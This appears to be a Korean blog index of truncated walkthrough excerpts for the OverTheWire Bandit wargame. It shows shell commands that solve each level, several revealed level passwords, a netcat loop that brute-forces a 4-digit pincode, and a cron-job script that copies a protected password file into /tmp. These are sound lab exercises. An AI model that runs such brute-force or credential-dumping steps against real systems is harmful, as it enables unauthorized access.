Level Goal다음 레벨로 넘어가는데 필요한 패스워드를 얻기 위해서 다음 레벨로 접속은 SSH 키 값을 이용해서 할 수 있지만, bandit26 유저의 shell은 /bin/bash가 아니기 때문에 정상적으로 동작을 할 수가 없다. bandit26 유저의 shell을 확인해보면 /usr/bin/showtext로 되어있는 것을 확인할 수 있고, 내용을 살펴보면 more 명령어를 이용하여 ~/text.txt 파일을 읽고 종료하는 것을 볼 수 있다.$ cat /etc/passwd | grep bandit26$ cat /usr/bin/showtext bandit26.sshkey 파일을 이용해서 다음 레벨로 접속 시도 $ ssh -i bandit26.sshkey bandit26@localhost 터미널 창의 ..
Level Goal다음 레벨로 넘어가는데 필요한 패스워드는 30002 포트로 접속해서 4-digit pincode를 맞게 입력하면 확인할 수 있다. brute-forcing...$ mkdir -p /tmp/do9dark/$ cd /tmp/do9dark/$ cat > brute_forcing.sh#!/bin/bashpasswd="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ" for pincode in {0..9}{0..9}{0..9}{0..9}do echo $passwd' '$pincode | nc localhost 30002 >> result & done(Ctrl+D)$ chmod 777 brute_forcing.sh$ ./brute_forcing.sh $ ls -al$ sort resul..
Level Goal다음 레벨로 넘어가는데 필요한 패스워드는 /etc/cron.d/에서 정보를 획득해서 확인할 수 있다. $ cd /etc/cron.d/$ cat cronjob_bandit24$ cat /usr/bin/cronjob_bandit24.sh cronjob_bandit24.sh을 보면 /var/spool/bandit24에 있는 스크립트를 실행하고 제거하는 것을 알 수 있고 이를 이용해서 다음 레벨의 패스워드를 획득할 수 있다.$ mkdir -p /tmp/do9dark/$ cd /tmp/do9dark/$ cat > dump.sh#!/bin/bashcat /etc/bandit_pass/bandit24 > /tmp/do9dark/bandit_pass(Ctrl+D)$ chmod 777 dump.sh$ ..
Level Goal다음 레벨로 넘어가는데 필요한 패스워드는 /etc/cron.d/에서 정보를 획득해서 확인할 수 있다. $ cd /etc/cron.d/$ cat cronjob_bandit23$ cat /usr/bin/cronjob_bandit23.sh$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349 bandit23:jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
Level Goal다음 레벨로 넘어가는데 필요한 패스워드는 홈디렉터리에 있는 setuid가 설정되어 있는 바이너리 파일을 이용해서 획득할 수 있다. 파일을 확인해보면 포트를 지정해주고 실행해놓은 상태에서 다른 터미널 창에서 현재 레벨의 패스워드를 입력하면 다음 레벨의 패스워드를 획득할 수 있다고 되어있다.$ nc -l 9999$ ./suconnect 9999$ GbKksEFF4yrVs6il55v6gwY5aVje5f0j (입력) bandit21:gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
Level Goal다음 레벨로 넘어가는데 필요한 패스워드는 31000부터 32000 포트 중에서 오직 1개의 포트만 SSL로 접속해서 현재 레벨의 패스워드를 입력하면 다음 레벨로 넘어가는데 필요한 credentials 내용을 얻을 수 있고, 다음 레벨로 접속해서 패스워드를 확인할 수 있다. 31000부터 32000 포트 중에서 접속이 가능한 포트를 nmap 명령어를 이용해서 확인한다.$ nmap -p 31000-32000 localhost 활성화되어 있는 포트를 대상으로 하나씩 SSL 접속을 시도하고 정상적으로 확인이 될 때, 현재 레벨의 패스워드를 입력하면 다음 레벨에 접근할 수 있는 키 값을 확인할 수 있다.$ openssl s_client -connect localhost:31790 -quietcl..
Level Goal다음 레벨로 넘어가는데 필요한 패스워드는 30001 포트에 SSL encryption를 이용해서 접속한 다음, 현재 레벨의 패스워드를 입력하면 알 수 있다. openssl s_client 명령어를 이용해서 30001 포트에 접속한 다음, 현재 레벨의 패스워드를 입력해주면 다음 레벨의 패스워드를 확인할 수 있다.아래와 같이 패스워드를 입력하지 않고 echo와 `(backtick)을 이용해서도 할 수 있다.$ echo `cat /etc/bandit_pass/bandit15` | openssl s_client -connect localhost:30001 -quiet bandit16:cluFn7wTiGryunymYOu4RcffSxQluehd
Level Goal다음 레벨로 넘어가는데 필요한 패스워드는 /etc/bandit_pass/bandit14에 저장되어 있으나, bandit14만 읽을 수 있도록 되어있다. 문제에 보면 다음 레벨에 접근할 수 있는 private SSH key가 있는 것을 알 수 있고, ls 명령어를 통해 파일을 볼 수 있다.$ ls$ file sshkey.private sshkey.private 파일을 이용해서 다음 레벨에 접근 시도한 결과, 정상적으로 접속이 된 것을 볼 수 있다. $ ssh -i sshkey.private bandit14@localhost bandit14의 권한을 통해 /etc/bandit_pass/bandit14 파일을 확인해보면 패스워드를 알 수 있다. $ cat /etc/bandit_pass/ban..
Level Goal다음 레벨로 넘어가는데 필요한 패스워드는 data.txt 파일에 hexdump 되어 저장되어 있다. 파일을 확인해보면 ASCII text로 hexdump된 형태로 되어있는 것을 확인할 수 있다.$ ls$ file data.txt$ cat data.txt 임시 디렉터리를 생성하여 이동한 다음, xxd 명령어를 이용해서 hexdump된 형태를 바이너리 형태로 변경해주고 바이너리 파일을 확인해서 알맞게 압축을 해제해주면 최종적으로 패스워드가 저장된 파일을 얻을 수 있다. $ mkdir /tmp/do9dark/$ cd /tmp/do9dark/$ xxd -r ~/data.txt > data1$ file data1 gzip compressed data $ zcat data1 > data2.bin$..
Level Goal다음 레벨로 넘어가는데 필요한 패스워드는 data.txt 파일에 ROT13(all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions)가 적용되어 저장되어 있다. 파일을 확인해보면 문자가 뒤죽박죽 알아볼 수 없도록 되어있는 것을 볼 수 있다. 문제에서 13만큼 이동되어 있다고 했기 때문에 대소문자 각각 13만큼 tr 명령어를 이용하여 치환시켜주면 패스워드를 확인할 수 있다.$ ls$ cat data.txt$ cat data.txt | tr a-zA-Z n-za-mN-ZA-M bandit12:5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu
Level Goal다음 레벨로 넘어가는데 필요한 패스워드는 data.txt 파일에 사람이 읽을 수 있으면서, ‘=’ 문자로 시작하는 형태로 저장되어 있다. strings 명령어를 이용해서 사람이 읽을 수 있는 문자열들을 추출한 다음, grep 명령어를 이용하여 '='가 포함되어 있는 형태를 찾으면 패스워드를 확인할 수 있다.$ ls $ strings data.txt | grep '=' bandit10:truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
Level Goal다음 레벨로 넘어가는데 필요한 패스워드는 아래 속성들을 모두 가지고 있는 파일에 저장되어 있다.- owned by user bandit7 - owned by group bandit6 - 33 bytes in size 문제에 주어진 속성들을 이용해서 서버 전체를 대상으로 find 명령어로 패스워드 파일을 찾을 수 있다.(에러 처리도 해주면 깔끔하게 결과를 볼 수 있다.)$ find / -user bandit7 -group bandit6 -size 33c 2>/dev/null$ cat /var/lib/dpkg/info/bandit7.password bandit7:HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs
Level Goal다음 레벨로 넘어가는데 필요한 패스워드는 inhere 디렉터리 안에 아래 속성들을 모두 가지고 있는 파일에 저장되어 있다.- human-readable - 1033 bytes in size - not executable cd 명령어를 이용하여 해당 디렉터리로 이동한다.$ cd inhere/ 디렉터리 안을 확인해보면 maybehere00 ~ maybehere19 까지 디렉터리가 있는 것을 볼 수 있다.$ ls -al 내부에 있는 디렉터리 중 하나를 살펴보면 다양한 형태의 파일들이 존재하는 것을 확인할 수 있다.$ cd maybehere00/$ ls -al 일일히 앞에서 했던 방법들을 이용해서 찾을 수도 있지만, 문제에서 주어진 속성 중에 1033 bytes 사이즈라는 속성을 이용하여 쉽게..
Level Goal다음 레벨로 넘어가는데 필요한 패스워드는 inhere 디렉터리 안에 사람이 읽을 수 있는(human-readable) 파일에 저장되어 있다. cd 명령어를 이용하여 해당 디렉터리로 이동한다.$ cd inhere/ 디렉터리 안에 있는 파일을 확인해보면 -file00 ~ -file09 까지 파일이 있는 것을 볼 수 있다.$ ls -l file 명령어를 이용하여 각 파일들을 조회해본다.$ file ./* 조회해보면 -file07만 ASCII text로 되어있고 나머진 data로 되어있는 것을 볼 수 있다.해당 파일을 cat 명령어를 이용하여 확인해보면 다음 레벨로 넘어가는데 필요한 패스워드를 알 수 있다.$ cat ./-file07 bandit5:koReBOKuIDDepwhWk7jZC0RTd..
Level Goal다음 레벨로 넘어가는데 필요한 패스워드는 inhere 디렉터리 안에 .hidden 파일에 있다. ls 명령어를 사용 시 -a 옵션을 입력해주면 숨겨진 파일도 확인할 수 있다.리눅스에서 파일명이 .으로 시작되면 숨김 파일로 된다.$ ls -al inhere/.hidden .hidden 파일을 cat 명령어로 확인해보면 패스워드를 알 수 있다.$ cat inhere/.hidden bandit4:pIwrPrtPN36QITSp3EQaw936yaFoFgAB
Level Goal다음 레벨로 넘어갈 수 있는 패스워드가 들어있는 파일의 이름에 spaces가 들어가 있을 경우에 접근하는 방법 ls 명령어를 이용해보면 파일 이름이 spaces in this filename인 파일이 있는 것을 볼 수 있다.$ ls -l앞에서 했던 것과 동일하게 cat 명령어를 이용해서 파일명을 그대로 입력해주면 공백에 의해서 각각 하나의 파일로 인식하게 되어 해당 파일을 정상적으로 처리할 수가 없게된다.$ cat spaces in this filename따라서, 공백을 구분자가 아니라 일반 문자의 공백으로 처리하기 위해서 \를 앞에 붙여주면 간단하게 처리할 수 있다.$ cat spaces\ in\ this\ filename 다른방법:$ cat s* bandit3:UmHadQclWmgd..
Level Goal다음 레벨로 넘어갈 수 있는 패스워드는 홈 디렉터리에 - 파일에 있다. - 파일을 보면 된다. ls 명령어를 이용해서 해당 디렉터리에 있는 파일들을 보면 - 로 된 파일을 확인할 수 있다.$ ls -l Level 0에서 했던 대로 cat - 를 하게 되면 정상적으로 되지 않는 것을 확인할 수 있다.문제 페이지에 보면 아래에 도움이 될만한 자료를 확인할 수 있으며, 해당 자료를 읽어보면 -(dash) 기호가 특수 문자로 사용되는 것을 볼 수 있다.redirection from/to stdin or stdout [dash].$ cat -DO (입력)DO (출력)Ctrl + D 특수 문자로 사용되지 않도록 우회하기 위해서 간단하게 경로를 이용해서 cat 명령어를 사용하면 - 파일의 내용을 확..
Level GoalSSH를 이용해서 bandit.labs.overthewire.org 서버로 접속하여 로그인한 다음, Level 1로 넘어갈 수 있는 정보 찾기계정과 패스워드는 bandit0/bandit0 문제에서 주어진 계정을 가지고 해당 호스트로 접속을 해보면 아래와 같이 This is the OverTheWire game server.라는 문구를 확인할 수 있고 패스워드를 검증한다.패스워드도 계정과 동일하게 문제에서 주어진대로 입력해준다.$ ssh bandit0@bandit.labs.overthewire.org 로그인을 하게 되면 아래와 같이 정보들을 확인할 수 있다. 접속에 성공하였기 때문에 이제 Level 0에서 Level 1로 넘어가는 문제를 확인해보면, 다음 레벨로 넘어가는데 필요한 패스워드..